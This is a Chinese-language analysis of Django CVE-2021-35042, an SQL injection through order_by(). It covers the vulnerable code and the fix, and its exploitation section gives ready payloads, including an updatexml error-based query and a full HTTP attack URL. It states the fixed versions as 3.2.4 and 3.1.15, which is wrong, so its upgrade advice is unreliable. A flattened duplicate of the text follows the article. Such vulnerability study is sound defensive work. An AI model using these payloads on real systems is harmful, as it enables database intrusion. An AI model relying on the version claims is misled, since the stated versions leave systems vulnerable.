Django CVE-2021-35042 order_by SQL注入分析
字数 1212 2025-08-05 08:19:04

Django CVE-2021-35042 SQL注入漏洞分析与利用

漏洞概述

CVE-2021-35042是Django框架中的一个SQL注入漏洞,影响Django 3.2.4和3.1.15之前的版本。该漏洞源于QuerySet.order_by()方法对用户输入的处理不当,允许攻击者通过精心构造的输入绕过列名验证,导致潜在的SQL注入攻击。

漏洞原理

漏洞背景

Django的ORM通常对SQL注入有严格的防护措施,但在此漏洞中,order_by()方法对带表名的列查询(table.column)处理不当:

  1. 当查询字符串包含.时,代码会发出弃用警告但继续处理
  2. 带表名的查询跳过了关键的names_to_path列名验证
  3. 最终SQL拼接时未对列名部分进行充分过滤

关键代码分析

漏洞核心位于django/db/models/sql/query.py中的add_ordering函数:

def add_ordering(self, *ordering):
    errors = []
    for item in ordering:
        if isinstance(item, str):
            if '.' in item:  # 带表名的查询
                warnings.warn('Passing column raw column aliases...')
                continue  # 问题点:直接跳过后续验证
            # 其他验证...
        # 其他处理...

带表名的查询(table.column)会跳过names_to_path验证,而后续处理时:

# django/db/models/sql/compiler.py
if '.' in field:
    table, col = col.split('.', 1)
    order_by.append((
        OrderBy(
            RawSQL('%s.%s' % (self.quote_name_unless_alias(table), col), []),
            descending=descending
        ), False))

这里self.quote_name_unless_alias只过滤了表名,未过滤列名部分,导致SQL注入。

漏洞利用

利用条件

  1. 使用受影响版本的Django(3.2.4/3.1.15之前)
  2. 存在使用order_by()且参数可控的代码
  3. 数据库后端支持堆叠查询(如MySQL)

利用方法

基本Payload格式:

表名.列名);注入语句--

示例利用:

# 正常查询
Article.objects.order_by('app_article.name')

# 恶意查询
Article.objects.order_by('app_article.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23')

生成的SQL语句:

SELECT `app_article`.`id`, `app_article`.`name` 
FROM `app_article` 
ORDER BY (`app_article`.name);select updatexml(1, concat(0x7e,(select @@version)),1)#) ASC LIMIT 21

实际攻击示例

HTTP请求中的利用:

http://vulnerable-site/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select database())),1)%23

漏洞修复

Django通过以下方式修复了该漏洞:

  1. 在3.2.4和3.1.15版本中恢复了原有的正则验证
  2. 重新引入了严格的输入验证模式

修复代码:

ORDER_PATTERN = _lazy_re_compile(r'\?|[-+]?[.\w]+$')
# ...
if isinstance(item, str) and ORDER_PATTERN.match(item):
    if '.' in item:
        warnings.warn(...)

防护建议

  1. 升级到Django 3.2.4或3.1.15及以上版本
  2. 如果无法立即升级,应对所有order_by参数进行严格过滤
  3. 使用Django的RawSQL表达式明确处理特殊排序需求
  4. 遵循最小权限原则,数据库用户不应有高权限

参考链接

  • Django安全公告: https://www.djangoproject.com/weblog/2021/jul/01/security-releases/
  • 漏洞修复提交: https://github.com/django/django/commit/a34a5f724c5d5adb2109374ba3989ebb7b11f81f
  • 测试环境: https://github.com/vulhub/vulhub/tree/master/django/CVE-2021-35042

总结

CVE-2021-35042展示了即使像Django这样成熟的框架也可能因为设计决策和兼容性考虑而引入安全漏洞。开发者应:

  1. 始终保持框架更新
  2. 谨慎处理所有用户输入
  3. 理解ORM背后的实际SQL生成逻辑
  4. 对弃用警告保持警惕,及时更新代码
Django CVE-2021-35042 SQL注入漏洞分析与利用 漏洞概述 CVE-2021-35042是Django框架中的一个SQL注入漏洞,影响Django 3.2.4和3.1.15之前的版本。该漏洞源于 QuerySet.order_by() 方法对用户输入的处理不当,允许攻击者通过精心构造的输入绕过列名验证,导致潜在的SQL注入攻击。 漏洞原理 漏洞背景 Django的ORM通常对SQL注入有严格的防护措施,但在此漏洞中, order_by() 方法对带表名的列查询( table.column )处理不当: 当查询字符串包含 . 时,代码会发出弃用警告但继续处理 带表名的查询跳过了关键的 names_to_path 列名验证 最终SQL拼接时未对列名部分进行充分过滤 关键代码分析 漏洞核心位于 django/db/models/sql/query.py 中的 add_ordering 函数: 带表名的查询( table.column )会跳过 names_to_path 验证,而后续处理时: 这里 self.quote_name_unless_alias 只过滤了表名,未过滤列名部分,导致SQL注入。 漏洞利用 利用条件 使用受影响版本的Django(3.2.4/3.1.15之前) 存在使用 order_by() 且参数可控的代码 数据库后端支持堆叠查询(如MySQL) 利用方法 基本Payload格式: 示例利用: 生成的SQL语句: 实际攻击示例 HTTP请求中的利用: 漏洞修复 Django通过以下方式修复了该漏洞: 在3.2.4和3.1.15版本中恢复了原有的正则验证 重新引入了严格的输入验证模式 修复代码: 防护建议 升级到Django 3.2.4或3.1.15及以上版本 如果无法立即升级,应对所有 order_by 参数进行严格过滤 使用Django的 RawSQL 表达式明确处理特殊排序需求 遵循最小权限原则,数据库用户不应有高权限 参考链接 Django安全公告: https://www.djangoproject.com/weblog/2021/jul/01/security-releases/ 漏洞修复提交: https://github.com/django/django/commit/a34a5f724c5d5adb2109374ba3989ebb7b11f81f 测试环境: https://github.com/vulhub/vulhub/tree/master/django/CVE-2021-35042 总结 CVE-2021-35042展示了即使像Django这样成熟的框架也可能因为设计决策和兼容性考虑而引入安全漏洞。开发者应: 始终保持框架更新 谨慎处理所有用户输入 理解ORM背后的实际SQL生成逻辑 对弃用警告保持警惕,及时更新代码